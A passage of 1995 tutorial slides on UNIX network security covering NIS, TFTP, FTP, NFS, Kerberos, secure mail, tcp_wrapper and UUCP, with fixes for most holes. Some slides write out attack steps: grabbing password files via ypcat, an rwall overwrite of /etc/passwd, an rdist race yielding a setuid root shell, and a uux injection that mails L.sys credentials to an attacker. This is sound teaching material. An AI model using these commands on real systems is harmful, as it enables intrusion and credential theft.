eleazar matt +@cshosts All computers in the netgroup cshosts are trusted +@engineer +@csstudents Users in the netgroup csstudents are trusted if they log in from hosts in the netgroup engineer -@engineer All hosts in the netgroup engineer are not trusted (unless a csstudent is making the connection) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 99 Disclosure NIS intended to obtain requests for information and respond with that information The attackers simply: * guessed the large site's domain name and bound their client to it ypset -d yourdomainname * asked for the password file ypcat passwd This would have worked with shadow password file too! UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 100 ypx Tries to guess domain name, then grabs password file if it succeeds Tries various permutations of the given host name, plus anything else you like Get it from: ftp.uu.net:usenet/comp.sources.misc/volume40/ypx UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 101 Fix * modify the NIS server program ypserv to respond only to specific hosts most vendors have patches to do this * change domain name to make it very hard to guess if you see domain names like "cs12354312", that's why * force users to choose unguessable passwords, and live with it UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 102 Warning If your host is a server to diskless workstations, it has a bootparam daemon this may be /etc/bootparamd, ./usr/etc/rcp.bootparamd, etc. Attack: guess a client's name or address, and send it over; in return, you get the NIS domain name Cannot be avoided for servers! How else could a client get its own domain name? UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 103 Spoofing NIS ypserv is the program on the server that responds to requests ypbind is the program on all NIS'ed machines that figures out which ypserv to contact (by broadcasting) and returns that information to the client so, change the "binding" of ypbind to your own version of ypserv, which supplies what you want the victim to get (rather than the real information) Example: send over a password file with your entry having UID and group IDs of 0. Then log into that server remotely ... UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 104 Spoofing NIS (2) How? If ... *you are on the same net as both the NIS server and requesting client *you see the request before the server does *you can get your answer to the client before the server's arrives the client will believe you! Example: send over a password file with your entry having UID and group IDs of 0. Then log into that server remotely ... UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 105 ypbind To make ypbind ignore all replies from ypservs which are not running on a trusted port: ypbind -secure This would require an attacker from a UNIX machine to become root to begin his/her own version of ypserv It would not stop attackers from non-UNIX machines (they can simply forge packets ...) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 106 Other Ways Same Goal: get /etc/passwd * tftp Technique used to grab password file of one large Internet access provider * anonymous ftp Used at a different site, but in the same attack; works at most such sites! * NFS File Handles Works with any file UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 107 TFTP A version of FTP that does no authentication whatsoever * used by diskless Suns to boot TFTP protocol does not specify any constraints Tftp implements no access control, so it can grab any file that its user (usually daemon) can read ... this includes the password file UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 108 tftp Test Test for good or bad version: % tftp tftp> connect host tftp> get /etc/motd tmp Error code 1: File not found tftp> quit Good version. If the file transfers, you should get a later version. contact your vendor for this. The large Internet access provider's version failed. UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 109 FTP protocol for transferring files from one host to another; allows anonymous access ~ftp bin etc pub remote host ftp protocol UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 110 Anonymous FTP To set this up right: * create ftp account, with disabled password and a home directory (say, /usr/spool/ftp) * home directory unwritable by anyone and owned by root * make bin subdirectory, containing ls, unwritable by anyone and owned by root; ls executable only by everyone * make pub subdirectory; if world writable people can put things in; if not, they can just extract things UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 111 More Anonymous ftp * make etc subdirectory, copy password file in and delete all lines except the one for ftp; copy group file in, delete all lines except the one the ftp user is in and the one the ftp daemon is in; etc should be unwritable by anyone and owned by root Most sites seem to forget the part about deleting everyone else from the password file * effect: anyone using anonymous ftp can get your password file And the attackers did just that UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 112 Brian Reid's Attack Brian noticed he had UUCP passwords for several sites He used ftp to connect to thos systems as the uucp user He got the standard ftp interpreter, so he could grab any files owned by UUCP - such as L.sys It worked. UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 113 Dangers of FTP To prevent this: create a file called "/etc/ftpuser"s and put login names not to be allowed ftp access: uucp ingres root audit will reject any ftp attempts by the users uucp, ingres, root, or audit UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 114 NFS File Handles The "file pointer" passed to all programs accessing a file using NFS * guess a file handle and you get access to the file * key part: the file's inode number Usually rather random, except that the root of the file system usually has inode number 1 UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 115 Randomizing Inode Numbers Use the program fsirand device to randomize the inode numbers of files; this makes guessing the inode number of a specific file much more difficult Warning don't do this with the file system mounted!!! UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 116 Some Other Problems Here are some miscellaneous network problems: * sync account * selection_svc * rexd daemon * rwall * rdist UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 117 sync Account telnets to target, tries to log in as sync If target supports dynamic loading and the program sync(1) uses it, one can access a privileged account by using the load path bug: * write your own version of the library called sync(2) * build a dynamic load file in your home directory * set LD_PRELOAD to be your home directory * do login -p sync UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 118 Fixes * put a password on the account purpose is to enable quick, automatic sncing of disks over network - so this defeats the account's purpose * make its UID unprivileged idea is to allow attacker in but make sure she can't do anything; dangerous to allow any kind of access unless the account is very restricted * make sync(1) statically, not dynamically, loaded best solution; also, it's easy enough to write a syncing program (4 lines of C) so it can actually be done whether or not you have source! UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 119 Selection Services With selection_svc: * anyone can ask for what was selected last (paste) * anyone can tell it what to select Moral: very easy to read a screen if this is running Fix: Disable this service UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 120 rexd(8) With rexd: * anyone can spoof it by writing an imitation on command * This can give access to the password file, or to another's account How? Give them a new .rhosts ... Moral: easy to break into a system if rexd is running Fix: Disable this service UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 121 rwall Bug problem: you can overwrite system files using rwall rwall uses /etc/utmp to see where users are logged on and writes to anything, even non-ttys host% edit utmp to put ../etc/passwd as first 13 chars host% create a replacement password file, with ^J as first char host% rwall local < replacement_password_file and the password file is changed UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 122 rwall Fixes Fixes: * alter rwall to write only to ttys * make rwall setgid to group, not setuid to root UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 123 rdist Hole problem: there is a race condition between a file's creation and installation (chown) rdist creates an intermediate file in /tmp, then installs it when the original file contents are inserted host% do an rdist of any huge file on remotehost; suspend once started host% rlogin to remote host remotehost% cd /tmp remotehost% rm rdistxxxxx; ln -s /bin/sh rdistxxxxx and /bin/sh is now setuid to root UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 124 rdist Fix Fix: * modify rdist to use fchown, not chown Goal is to make sure the file that is opened has its ownership changed, not one substituted for the open file fchown changes owner of the open file, not of any file with the same name as the one opened UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 125 ISS Very useful program that scans for some common network holes: * sync account * info-giving daemons (ypserv, rusers, * decode, uudecode, bbs, mount, name, x26, bootparam, rexd, guest, lp accounts selection_svc) * sendmail debug, wiz * guess domain name * ftp accounts with incorrect * file systems exported permissions * list of users Get latest free version (1.21) from ftp.uu.net:usenet/comp.sources.misc/volume40/iss UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 126 SATAN Similar in function to ISS, but looks for some extra things (at least, compared to the free version of ISS) * NFS export to unprivileged programs, export via the portmapper, unconstrained export * NIS password file access * rexd, unconstrained tftp services available * latest version of sendmail * wildcards in hosts.equiv or .rhosts * unrestricted X server access * ftp directory world writable Available from: ftp.win.tue.nl:pub/security/satan.tar.Z UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 127 Reading Network Packets *Use tcpdump(1) or a similar program: - put workstation into promiscuous mode (using ifconfig(8) and pfconfig(8)) if needed (ULTRIX) - su to root if needed (SunOS) - set permissions of /dev/bpfn if needed (BSD) - run tcpdump or write your own filter to filter the packets UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 128 Software tcpdump is freely available Anonymous ftp from ftp.uu.net:networking/ip/trace/tcpdump nfswatch is too Anonymous ftp from ftp.uu.net:networking/ip/nfs/ nfswatch4.0.tar.Z UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 129 Vampires windsor tam rlogin who, pwd xyz attacker on xyz can see password and account of user on windsor UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 130 Where to Get This PHRACK PHRACK volume 45, look for the words "JOIN THE POSSE"; this is tailored for password sniffing, and works REAL well see previous slight modifications to standard network tools will also do this UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 131 Network Encryption prandtl wookie other host wookie sends message to prandtl other host can read it, alter, replace, or delete it network encryption not done UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 132 Authentication Need authentication technique which does not send passwords over the wire * example: Sun's Secure RPC Not appropriate for situations where some sort of validation of identity has to be made to many servers rather than just one UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 133 Needham-Schroeder Protocols * Used for authentication in a network * Require an authentication server that can supply requested information from a secret key * Protocols for both classical, public-key cryptosystems * Minor bug, subsequently fixed by Denning and Sacco UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 134 NS: Classical Cryptosystem authentication server AS A B A,B,Ia {Ia,B,Sk,{Sk,A}Kb}Ka {Sk,A}Kb {Ib}Sk {f(Ib)}Sk UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 135 NS: Classical Cryptosystem (2) Ia is an identifier used by A exactly once (a nonce) * B knows message came via AS as it is encrypted in a key known only to AS and B * B knows session key Sk was produced by AS for the same reason * B knows AS is vouching that the other party is A * B knows this is not a replay due to thew Ib handshake As B trusts AS, A knows communication came from A, and B can use the session key Sk UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 136 NS: Flaw in Classical Suppose C obtains Sk and records {SK,A}Kb. Then C B {Sk,A}Kb {Ib}Sk {f(Ib)}Sk and B now thinks it is talking to A! Fix: assign f to pairs and keep secret. How: if done via AS, same as key problem; if done directly, swap keys directly and forget about this protocol UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 137 NS: Denning and Sacco Modification All encrypted messages include a timestamp T. Then C B {Sk,A,T}Kb {Ib}Sk {f(Ib)}Sk Now B checks that T is "acceptably close" to its current time (this being no more than the server's clock drift wit respect to the local clock, plus any network delay) Note: AS also sends A {T, B, Sk, {Sk, A, T}Kb}Ka UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 138 Kerberos Authentication system developed for use in Project Athena at MIT * uses Needham-Schroeder protocol with Denning and Sacco modification Basic idea: * each user and service shares a secret (DES) key with a trusted server, the authentication server UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 139 Basic Units * Ticket: used to pass identity of person to whom ticket issued; contains: client name server name time of issuance validity interval IP address of client session key * Authenticator: identity of service requester client name IP address of client time of authenticator creation UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 140 Logging In username, TGS client workstation authentication server {{Ttgs}Ktgs,Ksess,...}Kuser Client now decrypts reply using the user's password Kuser; if it's valid, the password is deleted from memory and the ticket and session key Ksess are stored UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 141 Obtaining a Ticket for a Service service,{Ttgs}Ktgs,{Acl}Kc-tgs client workstation authentication server {{Tc,s}Ks,Kc-s}Kc-tgs Sent: service name, ticket to use the TGS, and authenticator Server: verifies authenticator matches ticket, issues reply Received: ticket for service encrypted in service's key, a session key UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 142 Using a Ticket to Get a Service {Acl}Kc-s,{Tc,s}Ks client workstation desired server {timestamp + 1}Kc-s Sent: authenticator encrypted with session key, ticket encrypted with server's key Server: decrypts ticket to get session key, decrypts authenticator, compares; if all well, performs access control Received: if requested, server sends back an encrypted nonce to authenticate itself UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 143 Problems * You need a physically secure computer that is not generally accessible since the authentication server stores all keys in plaintext; if an intruder gets these, your authentication scheme is useless * The keys are resident on the system On a single-user machine, that's okay; on a multi-user machine, if the other user is an attacker, .... This is why it should never be used as anything other than a user-to-user (service) authentication scheme (eg, server-to-server is bad) * Replay is possible Authenticators are valid for 5 minutes, so a dedicated attacker could simply wait until a user logs in and logs out after accessing a service (printing a file or reading mail); then replay. UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 144 More Problems * Kerberos is designed for single-user hosts so if I become you on a multiuser host (using su or anything else where I give your password), Kerberos won't help you * The tickets are stored in /tmp This is done so they can be shared among processes - but all I need to do is copy one, or try to deny you service by deleting your ticket * Trojan horses still work so I can get whatever you have access to if you use one of my rigged programs ... whether or not I have your ticket UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 145 Electronic Mail * I forge a letter to Dorothy Denning from the chairman (Peter Denning) raising her salary and run into her office and tell her she'll enjoy her mail ... * student at major university forges a note informing official he's fired; note not seen for several days, then disrupts an office until forgery discovered; FBI called in forging mail can be fun; but it can have vicious consequences * browsing root's mail is SOP for attackers to see if root is onto them, or is mailing out passwords UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 146 Current State of Electronic Mail * anyone can read electronic mail whether or not they are the recipient or sender (two parties may agree to encrypt messages, though) * the name in the "from" or "sender" field(s) may be incorrect; it must be verified out of band * electronic mail can be altered undetectably UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 147 Privacy-Enhanced Electronic Mail * provide confidentiality to electronic mail * provide sender authenticity * provide message integrity UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 148 MHS Model UA MTA MTA MTA UA UA User Agents Message Transfer Agents UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 149 Design Constraints * do not redesign existing mail system or protocols * whatever is proposed must be compatible with a range of MTAs, UAs, and PCs * privacy enhancements must be available separately (i.e., not required) * two parties should be able to use the protocol to communicate without prearrangement UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 150 Basis define separate data encryption, interchange keys * encrypt messages, possibly compute Message Integrity Check quantities with DEKs (Data Encryption Keys) * encrypt DEKs with IKs (Interchange Keys) and enclose in header of messages UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 151 RSA Cryptosystem * encrypt, decrypt using modular exponentiation: c = m mod n and m = c mod n where e and d are chosen so that ed mod f (n) = 1 * can get both confidentiality and authenticity * As (n, e) is public key, choose e to be a publicly known exponent (either 3 or 2^16+1) * Choose n to be at least 512 bits (initial recommendation of X.509; they recommend further study) e d UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 152 Confidentiality To send a secret message: Alice encrypts message using Bob's public key Alice Bob Bob decrypts message using his private key Bob replies using Alice's public key Alice Bob sends reply Alice decrypts reply using her private key sends message UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 153 Authentication To send a signed message: Alice encrypts message using her private key Alice Bob message * anyone can read message as Alice's public key is publicly known * no-one can forge message as Alice's private key is known only to Alice Sylvester UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 154 Private Mail To send: * Get Interchange Key of recipient * Obtain a Data Encryption Key and transform message * Encrypt the DEK using the IK and put in message To Read: * Extract encrypted DEK from letter * Use IK to decrypt it * Use the DEK to decrypt the message UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 155 Integrity Checked, Authenticated Mail To send: * Generate a Message Integrity Code (MIC) possibly using a DEK * Encrypt it using IK * Put this value into the message To verify: * Decrypt the MIC using the IK * Calculate the MIC locally and compare with sent one UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 156 IK Management IKs may be: symmetric: sender, recipient share same IK (private key cryptosystems) asymmetric: sender, recipient have different IKs (public key cryptosystems) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 157 IK/User Association Problem : Say I ask the public key database for Bill CLinton's public key. How can I be sure I get it and not Robert Dole's public key? Answer: Bind the public key to Bill Clinton's name in the form of a certificate This is called certificate based key management UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 158 Certificates ORGANIZATIONAL (affiliation with issuer) issuer /C=US/O=University of California at Davis/ subject /C=US/O= University of California at Davis /OU=Department of Computer Science/CN=Matt Bishop/ RESIDENTIAL (no affiliation with issuer) issuer /C=US/SP=CA/L=Davis/ subject /C=US/S=CA/L=Davis/PA=27 Russell St./CN=Matt Bishop/ PERSONA (anonymous subject) issuer /C=US/O=Certificate Warehouse/ subject /C=US/O=Certificate Warehouse/CN=Irene Fisher/ UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 159 Sending Message * local form : enter the message as though it were normal mail * canonical form: convert the message to a canonical form such as inter-SMTP representation (RFC-821, RFC-822) * authenticate and encipher (next slide) * printable encoding: map bit stream into 64 character subset of IA5 (6 bits per character), using = for padding (may be omitted if sending non-confidential mail) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 160 Authentication & Encipherment * compute Message Integrity Check (MIC) * encrypt using DES in CBC mode, padding with n octets of 0x0n (if necessary) UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 161 Encapsulation Header fields per RFC-822 blank line -----BEGIN PRIVACY-ENHANCED MESSAGE BOUNDARY----- Encapsulated header fields (not transformed) blank line Encapsulated text portion (transformed) -----END PRIVACY-ENHANCED MESSAGE BOUNDARY----- UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 162 Detecting Network Attacks Looking for places where attackers might try to connect to your system * goal is to get access to your system in any way superuser privileges can follow, if needed What services are relevant or known to be attacked? UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 163 Important Files /etc/services lists service, port and protocol, and aliases: smtp 25/tcp mail time 39/udp timeserver /etc/inetd.conf lists service name, socket type, protocol type, wait/nowait, user, and command ftp stream tcp nowait root /usr/etc/ftpd ftpd tftp dgram udp wait nobody /usr/etc/tftpd tftpd echo stream tcp nowait root internal /etc/hosts lists IP address and host names 10.0.0.3 att.com mabell UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 164 Some Worrisome Services Services to be careful with: * the BSD 'r' commands (ports 512, 513, 514) * Sun 's RPC and NFS (ports 111, 2049) * X and Openwindows (ports 6000* and 2000*) * TFTP (port 69) * lpd (port 515) * UUCP (port 540) * link (port 87) intruders seem to love this port ... UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 165 What to Do Generally do not want to block them * disable those you don't need (comment out the lines in /etc/inetd.conf) * try to block external connections using a firewall or a wrapper package UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 166 Software tcp_wrapper is freely available from Weitse Venema Anonymous ftp from cert.org:pub/tools/tcp_wrappers UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 167 Goals * Log origination of all incoming connections * Allow the site to filter such connections * Allow the site to act based on the originator UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 168 Overview Assumes a "master network daemon" to which all requests go and which in turn spawns all services inetd(8) on BSD is an example Have the master daemon spawn a "wrapper" which does the security stuff The wrapper then spawns the correct service program UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 169 In Pictures inetd dae1 dae2 dae3 inetd dae1 dae2 dae3 tcpd daemon name UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 170 /etc/inetd.conf ftp stream tcp nowait root /usr/etc/in.ftpd in.ftpd tftp dgram udp wait root /usr/etc/in.tftpd in.tftpd -s / tftpboot becomes ftp stream tcp nowait root /usr/etc/tcpd /usr/etc/in.ftpd tftp dgram udp wait root /usr/etc/tcpd /usr/etc/in.tftpd -s /tftpboot UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 171 Access Control Based upon (daemon name, client host) pair: /etc/hosts.allow allow constrained access /etc/hosts.deny do not allow access pair not in either allow unconstrained access If remote user name available, client name may include user as user@host UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 172 Precautions * does double name lookup (IP from connection, get name, look up its IP address) if addresses differ, either break connection or name host "unknown" (and log it as such) * can prevent source routing external host spoofs local one; messages to local stay local unless masquerader has turned on source routing * can use ident protocol to get user name bad idea in that ident is not under control of a trusted host (usually); also, only works for tcp (stream) connections UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 173 Example: Open System Access permitted unless explicitly denied in /etc/hosts.deny: ALL : windsor.dartmouth.edu .army.mil this denies access to all services from the host windsor.dartmouth.edu and any host in the domain .army.mil ALL EXCEPT in.fingerd : .dartmouth.edu this allows hosts in the domain .dartmouth.edu (except for windsor) to access the finger daemon, but no other daemon no /etc/hosts.allow file UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 174 Example: Net with Terminal Server Don't allow the terminal server to access any service except telnet; no non-local hosts can access anything in /etc/hosts.allow: ALL : LOCAL EXCEPT request ALL : .ucdavis.edu EXCEPT request.ucdavis.edu in.telnetd : request.ucdavis.edu request in /etc/hosts.deny: ALL : ALL UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 175 Example: Act on Allow Allow all accesses, but reverse-finger host in /etc/hosts.allow: ALL : ALL : ( /etc/safe_finger -l @%h |\ / usr/ucb/mail -s %d-%h netgal ) & No /etc/hosts.deny file UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 176 Example: Act on Deny Allow all accesses, unless the user is "bishop" trying to rlogin or telnet in no /etc/hosts.allow file in /etc/hosts.deny: in.rlogind in.telnetd : bishop@ALL : ( echo \ ha-ha-ha-ha-ha | /usr/ucb/mail %c ) & UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 177 Example: Selective Name Lookups Do name lookups on any connection except those from ucsd.edu in /etc/hosts.allow: ALL : .ucsd.edu ALL@ALL Name lookups are normally done only when trying to match a user name; as matching .ucsd.edu does not require a user name, the lookup is not made then. No /etc/hosts.deny file UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 178 UUCP General overview: * bidirectional protocol for remote command execution * remote system logs in as user * commands executed from restricted shell called uuxqt bear uucp connection hydra UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 179 Transaction Any request, exchange of data, or requesting of remote command execution is a transaction UUCP is a protocol enabling two computers to perform a series of transactions UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 180 How It Works uucp bear!~/matt/answers ~/holly/answers * request queued * after some time, uucico run; it calls bear, logs in (as a uucp user) * bear starts a uucico command * your system sends the request * bear's uucico queues request, starts uuxqt (which executes the request) executes the request * your system gets the data UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 181 Versions of UUCP * 4.3 BSD UUCP, heavily based on the original UUCP * HoneyDanBer UUCP, a complete rewrite for System V (and first distributed with System V Release 3, but available for older versions) * UUCP for Version 7 UNIX Systems: a few bugs UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 182 Important Files: Aliases "L.aliases": real_name alias_name If alias_name logs in, it is really real_name Example: if bear used to be kodiak, the "L.aliases" file on systems it called might contain bear kodiak UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 183 Important Files: Calling Systems "L.sys" system times caller class dev/phone login_protocol The "login_protocol" describes what your computer should send when the remote one prompts: ogin: ubear ssword: hello_there note the cleartext password This file should not be world-readable, and should be owned by uucp UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 184 Important Files: Called by Systems "USERFILE" login,system [c] path_name [ path_name ...] login name of remote machine's login system name of remote system c if present, no transactions; remote machine called back first path_name prefixes for accessible directories UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 185 More About USERFILE * if system not named in "USERFILE", no transactions are allowed * if calling system not named in system field, uucico uses first line with matching login and null system field; if no such line, no transactions allowed UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 186 Still More USERFILE * if user's login name in the login field, then all transfers out must have files with names beginning with path_name: matt, /usr/matt /usr/spool/uucppublic /tmp lets me send files in my directory, the UUCP public access directory, and /tmp out - but no others UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 187 Recommendation limit uucico access to "/usr/spool/uucppublic": login,system /usr/spool/uucppublic allows remote systems access to files in /usr/spool/uucppublic only , /usr/spool/uucppublic users copy files to be sent out into /usr/spool/uucppublic; not good to make this / (ie, users can send from anywhere on the system) because files are sent by the user uucp, which has access to files like L.sys! UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 188 Important Files: Remote Commands "L.cmds" list of commands remote systems may execute. Example: rmail rnews ruusend allows those three commands and no others UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 189 UUCP Accounts One account for all allows remote hosts (possibly) to modify and/or read UUCP system control files: * at least two UUCP logins with different UIDs: * one for local system administration (uucp) * one or more for remote systems to use UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 190 Remote Host Logins * each host has its own login name Most useful when USERNAME allows different machines to do different things, or when you want to see which machine is logged in by doing a who * have all hosts use the same login Machine names are printed in log files, so why have multiple logins? UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 191 Some Bugs in Older Versions Command checking done for first word in command uux - remote\!rmail postmaster '`/bin/sh`' cat /usr/lib/uucp/L.sys | mail local!attacker gets me the "L.sys" file (the remote command runs as uucp, which can read "L.sys" ) UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 192 Another Bug Be sure users cannot run uucico with debugging on If they can, they will see the password for the remote system UNIX Security: Threats and Solutions from the Network September 19, 1995 LISA `95 UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 193 Log Files "/usr/spool/uucp/AUDIT" used for debugging output "/usr/spool/uucp/ERRLOG"log of all UUCP errors causing a session or transaction to abort; if exit status is -1, look here "/usr/spool/uucp/LOGFILE"all UUCP activity recorded here "/usr/spool/uucp/SYSLOG" file transfer statistics UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 194 Recommendations Initially, no security; use the files as outlined above. * all utilities should be: * owned by the local administrative user (uucp) * setuid to that account * only be executable by everyone (no read, write permission) * "L.sys", "USERFILE" should be: * owned by the local administrative user 